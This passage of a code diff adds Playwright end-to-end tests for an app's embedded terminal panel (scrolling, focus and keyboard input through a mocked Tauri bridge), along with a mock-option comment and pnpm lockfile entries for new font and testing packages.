sessionId: `sami-session-${state.sequence}`,
|
||||||
|
subscriptionId: state.subscriptionId,
|
||||||
|
viewport: {
|
||||||
|
generation: 1,
|
||||||
|
columns: state.columns,
|
||||||
|
screenLines: state.screenLines,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
case "terminal_resize":
|
||||||
|
state.columns = args.columns as number;
|
||||||
|
state.screenLines = args.rows as number;
|
||||||
|
return Promise.resolve({
|
||||||
|
generation: 1,
|
||||||
|
columns: state.columns,
|
||||||
|
screenLines: state.screenLines,
|
||||||
|
});
|
||||||
|
case "terminal_input":
|
||||||
|
state.inputs.push(args.data as string);
|
||||||
|
return Promise.resolve(null);
|
||||||
|
case "terminal_scroll":
|
||||||
|
state.scrolls.push(args.lines as number);
|
||||||
|
return Promise.resolve(null);
|
||||||
|
case "terminal_viewport_ready":
|
||||||
|
case "terminal_ack":
|
||||||
|
case "terminal_focus":
|
||||||
|
case "terminal_detach":
|
||||||
|
case "terminal_close":
|
||||||
|
return Promise.resolve(null);
|
||||||
|
default:
|
||||||
|
if (!inner) throw new Error(`no mock bridge for ${cmd}`);
|
||||||
|
return inner(cmd, args, opts);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
set: (fn: (cmd: string, args: unknown, opts: unknown) => unknown) => {
|
||||||
|
inner = fn;
|
||||||
|
},
|
||||||
|
});
|
||||||
|
w.__TAURI_INTERNALS__ = internals;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function pushFrame(
|
||||||
|
page: Page,
|
||||||
|
rows: { line: number; text: string }[],
|
||||||
|
cursor: { line: number; column: number },
|
||||||
|
) {
|
||||||
|
await page.evaluate(
|
||||||
|
({ rows, cursor, fg, bg }) => {
|
||||||
|
const state = (
|
||||||
|
window as typeof window & {
|
||||||
|
__SAMI_TERM__: {
|
||||||
|
deliver: ((m: unknown) => void) | null;
|
||||||
|
subscriptionId: string;
|
||||||
|
columns: number;
|
||||||
|
screenLines: number;
|
||||||
|
sequence: number;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
).__SAMI_TERM__;
|
||||||
|
state.sequence += 1;
|
||||||
|
state.deliver?.({
|
||||||
|
type: "frame",
|
||||||
|
payload: {
|
||||||
|
subscriptionId: state.subscriptionId,
|
||||||
|
sequence: state.sequence,
|
||||||
|
bracketedPaste: false,
|
||||||
|
focusReporting: false,
|
||||||
|
full: true,
|
||||||
|
viewport: {
|
||||||
|
generation: 1,
|
||||||
|
columns: state.columns,
|
||||||
|
screenLines: state.screenLines,
|
||||||
|
},
|
||||||
|
cursor: { ...cursor, visible: true },
|
||||||
|
rows: rows.map(({ line, text }) => ({
|
||||||
|
line,
|
||||||
|
spans: [
|
||||||
|
{
|
||||||
|
style: { fg, bg, flags: 0 },
|
||||||
|
clusters: [...text].map((ch, index) => ({
|
||||||
|
column: index,
|
||||||
|
text: ch,
|
||||||
|
width: 1,
|
||||||
|
})),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
})),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
},
|
||||||
|
{ rows, cursor, fg: FG, bg: BG },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function reveal(page: Page) {
|
||||||
|
await page.setViewportSize({ width: 1280, height: 800 });
|
||||||
|
await installTerminalBackend(page);
|
||||||
|
await installMockBridge(page);
|
||||||
|
await page.goto("/");
|
||||||
|
await expect(page.getByTestId("home-inbox-list")).toBeVisible();
|
||||||
|
// Buzz Term needs a channel: TerminalBootstrap's context is null on Home, so
|
||||||
|
// no session spawns and the chord is inert.
|
||||||
|
await page.getByTestId("channel-general").click();
|
||||||
|
await expect(page.getByTestId("chat-title")).toHaveText("general");
|
||||||
|
await page.keyboard.press("Meta+j");
|
||||||
|
await expect(page.locator(TERM)).toHaveAttribute(
|
||||||
|
"data-terminal-owner",
|
||||||
|
"terminal",
|
||||||
|
);
|
||||||
|
// data-terminal-owner flips synchronously at chord-up; the 360ms reveal fade
|
||||||
|
// is still running. Every capture below must wait for it to settle or it
|
||||||
|
// photographs a half-faded app surface and reads as a rendering defect.
|
||||||
|
await expect
|
||||||
|
.poll(async () =>
|
||||||
|
page
|
||||||
|
.locator(".buzz-huddle-app-surface")
|
||||||
|
.evaluate((el) => getComputedStyle(el).opacity),
|
||||||
|
)
|
||||||
|
.toBe("0");
|
||||||
|
}
|
||||||
|
|
||||||
|
test("scrollback: wheel over Buzz Term reaches terminal_scroll", async ({
|
||||||
|
page,
|
||||||
|
}) => {
|
||||||
|
await reveal(page);
|
||||||
|
await pushFrame(page, [{ line: 0, text: "buzz@term:~$ " }], {
|
||||||
|
line: 0,
|
||||||
|
column: 13,
|
||||||
|
});
|
||||||
|
await page.mouse.move(640, 500);
|
||||||
|
await page.mouse.wheel(0, -17 * 5);
|
||||||
|
await page.mouse.wheel(0, 17 * 2);
|
||||||
|
const scrolls = await page.evaluate(
|
||||||
|
() =>
|
||||||
|
(window as typeof window & { __SAMI_TERM__: { scrolls: number[] } })
|
||||||
|
.__SAMI_TERM__.scrolls,
|
||||||
|
);
|
||||||
|
console.log("SCROLLS", JSON.stringify(scrolls));
|
||||||
|
expect(scrolls).toEqual([-5, 2]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("terminal viewport click retains keyboard input ownership", async ({
|
||||||
|
page,
|
||||||
|
}) => {
|
||||||
|
await reveal(page);
|
||||||
|
const input = page.getByLabel("Terminal input");
|
||||||
|
await expect(input).toBeFocused();
|
||||||
|
|
||||||
|
await page
|
||||||
|
.locator(".buzz-terminal-viewport")
|
||||||
|
.click({ position: { x: 40, y: 40 } });
|
||||||
|
await expect(input).toBeFocused();
|
||||||
|
|
||||||
|
await page.keyboard.type("FOCUS_KEYSTROKE");
|
||||||
|
await expect
|
||||||
|
.poll(async () =>
|
||||||
|
page.evaluate(() =>
|
||||||
|
(
|
||||||
|
window as typeof window & { __SAMI_TERM__: { inputs: string[] } }
|
||||||
|
).__SAMI_TERM__.inputs.join(""),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.toContain("FOCUS_KEYSTROKE");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("concealed terminal viewport does not steal Buzz focus", async ({
|
||||||
|
page,
|
||||||
|
}) => {
|
||||||
|
await reveal(page);
|
||||||
|
await page.keyboard.press("Meta+j");
|
||||||
|
await expect(page.locator(TERM)).toHaveAttribute(
|
||||||
|
"data-terminal-owner",
|
||||||
|
"buzz",
|
||||||
|
);
|
||||||
|
|
||||||
|
const input = page.getByLabel("Terminal input");
|
||||||
|
await expect(input).not.toBeFocused();
|
||||||
|
await page.locator(".buzz-terminal-viewport").click({
|
||||||
|
force: true,
|
||||||
|
position: { x: 40, y: 40 },
|
||||||
|
});
|
||||||
|
await expect(input).not.toBeFocused();
|
||||||
|
});
|
||||||
@@ -316,10 +316,15 @@ type MockBridgeOptions = {
|
|||||||
observerArchiveDefaultEnabled?: boolean;
|
observerArchiveDefaultEnabled?: boolean;
|
||||||
/**
|
/**
|
||||||
* Delay (ms) applied to `observer_archive_default_enabled` so specs can
|
* Delay (ms) applied to `observer_archive_default_enabled` so specs can
|
||||||
* assert the pending-reconciliation state (toggle disabled, no
|
* exercise short-lived loading UI. Prefer the explicit defer/release seam
|
||||||
* `list_save_subscriptions` call yet) before the policy resolves.
|
* when asserting behavior while the policy check is pending.
|
||||||
*/
|
*/
|
||||||
observerArchiveDefaultEnabledDelayMs?: number;
|
observerArchiveDefaultEnabledDelayMs?: number;
|
||||||
|
/**
|
||||||
|
* Hold `observer_archive_default_enabled` until the test calls
|
||||||
|
* `__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__`.
|
||||||
|
*/
|
||||||
|
deferObserverArchiveDefaultEnabled?: boolean;
|
||||||
/**
|
/**
|
||||||
* When set, `observer_archive_default_enabled` throws with this message —
|
* When set, `observer_archive_default_enabled` throws with this message —
|
||||||
* drives the fail-closed path when the policy check itself fails.
|
* drives the fail-closed path when the policy check itself fails.
|
||||||
|
|||||||
14
pnpm-lock.yaml
generated
14
pnpm-lock.yaml
generated
@@ -84,6 +84,9 @@ importers:
|
|||||||
'@fontsource-variable/inter':
|
'@fontsource-variable/inter':
|
||||||
specifier: ^5.2.8
|
specifier: ^5.2.8
|
||||||
version: 5.2.8
|
version: 5.2.8
|
||||||
|
'@fontsource/jetbrains-mono':
|
||||||
|
specifier: ^5.3.0
|
||||||
|
version: 5.3.0
|
||||||
'@mediapipe/tasks-vision':
|
'@mediapipe/tasks-vision':
|
||||||
specifier: ^0.10.35
|
specifier: ^0.10.35
|
||||||
version: 0.10.35
|
version: 0.10.35
|
||||||
@@ -259,6 +262,9 @@ importers:
|
|||||||
'@tauri-apps/cli':
|
'@tauri-apps/cli':
|
||||||
specifier: ~2.11
|
specifier: ~2.11
|
||||||
version: 2.11.2
|
version: 2.11.2
|
||||||
|
'@testing-library/react':
|
||||||
|
specifier: ^16.3.2
|
||||||
|
version: 16.3.2(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
|
||||||
'@types/react':
|
'@types/react':
|
||||||
specifier: ^19.1.8
|
specifier: ^19.1.8
|
||||||
version: 19.2.17
|
version: 19.2.17
|
||||||
@@ -268,6 +274,9 @@ importers:
|
|||||||
'@vitejs/plugin-react':
|
'@vitejs/plugin-react':
|
||||||
specifier: ^6.0.0
|
specifier: ^6.0.0
|
||||||
version: 6.0.3(vite@8.0.16(@types/node@25.6.0)(jiti@2.7.0)(yaml@2.9.0))
|
version: 6.0.3(vite@8.0.16(@types/node@25.6.0)(jiti@2.7.0)(yaml@2.9.0))
|
||||||
|
jsdom:
|
||||||
|
specifier: ^27.4.0
|
||||||
|
version: 27.4.0(@noble/hashes@2.2.0)
|
||||||
nostr-tools:
|
nostr-tools:
|
||||||
specifier: ^2.23.3
|
specifier: ^2.23.3
|
||||||
version: 2.23.12(typescript@6.0.3)
|
version: 2.23.12(typescript@6.0.3)
|
||||||
@@ -660,6 +669,9 @@ packages:
|
|||||||
'@fontsource-variable/inter@5.2.8':
|
'@fontsource-variable/inter@5.2.8':
|
||||||
resolution: {integrity: sha512-kOfP2D+ykbcX/P3IFnokOhVRNoTozo5/JxhAIVYLpea/UBmCQ/YWPBfWIDuBImXX/15KH+eKh4xpEUyS2sQQGQ==}
|
resolution: {integrity: sha512-kOfP2D+ykbcX/P3IFnokOhVRNoTozo5/JxhAIVYLpea/UBmCQ/YWPBfWIDuBImXX/15KH+eKh4xpEUyS2sQQGQ==}
|
||||||
|
|
||||||
|
'@fontsource/jetbrains-mono@5.3.0':
|
||||||
|
resolution: {integrity: sha512-fqDfB5I9f1p1TV486aUgB9t8zP84P0O1FtQR5Ol9vjwPy+S+EIGlVYm1cvj2W5shcZMTg2nZFdVMoH5wFu8a1A==}
|
||||||
|
|
||||||
'@isomorphic-git/idb-keyval@3.3.2':
|
'@isomorphic-git/idb-keyval@3.3.2':
|
||||||
resolution: {integrity: sha512-r8/AdpiS0/WJCNR/t/gsgL+M8NMVj/ek7s60uz3LmpCaTF2mEVlZJlB01ZzalgYzRLXwSPC92o+pdzjM7PN/pA==}
|
resolution: {integrity: sha512-r8/AdpiS0/WJCNR/t/gsgL+M8NMVj/ek7s60uz3LmpCaTF2mEVlZJlB01ZzalgYzRLXwSPC92o+pdzjM7PN/pA==}
|
||||||
|
|
||||||
@@ -3988,6 +4000,8 @@ snapshots:
|
|||||||
|
|
||||||
'@fontsource-variable/inter@5.2.8': {}
|
'@fontsource-variable/inter@5.2.8': {}
|
||||||
|
|
||||||
|
'@fontsource/jetbrains-mono@5.3.0': {}
|
||||||
|
|
||||||
'@isomorphic-git/idb-keyval@3.3.2': {}
|
'@isomorphic-git/idb-keyval@3.3.2': {}
|
||||||
|
|
||||||
'@isomorphic-git/lightning-fs@4.6.2':
|
'@isomorphic-git/lightning-fs@4.6.2':
|
||||||
|
|||||||
Reference in New Issue
Block a user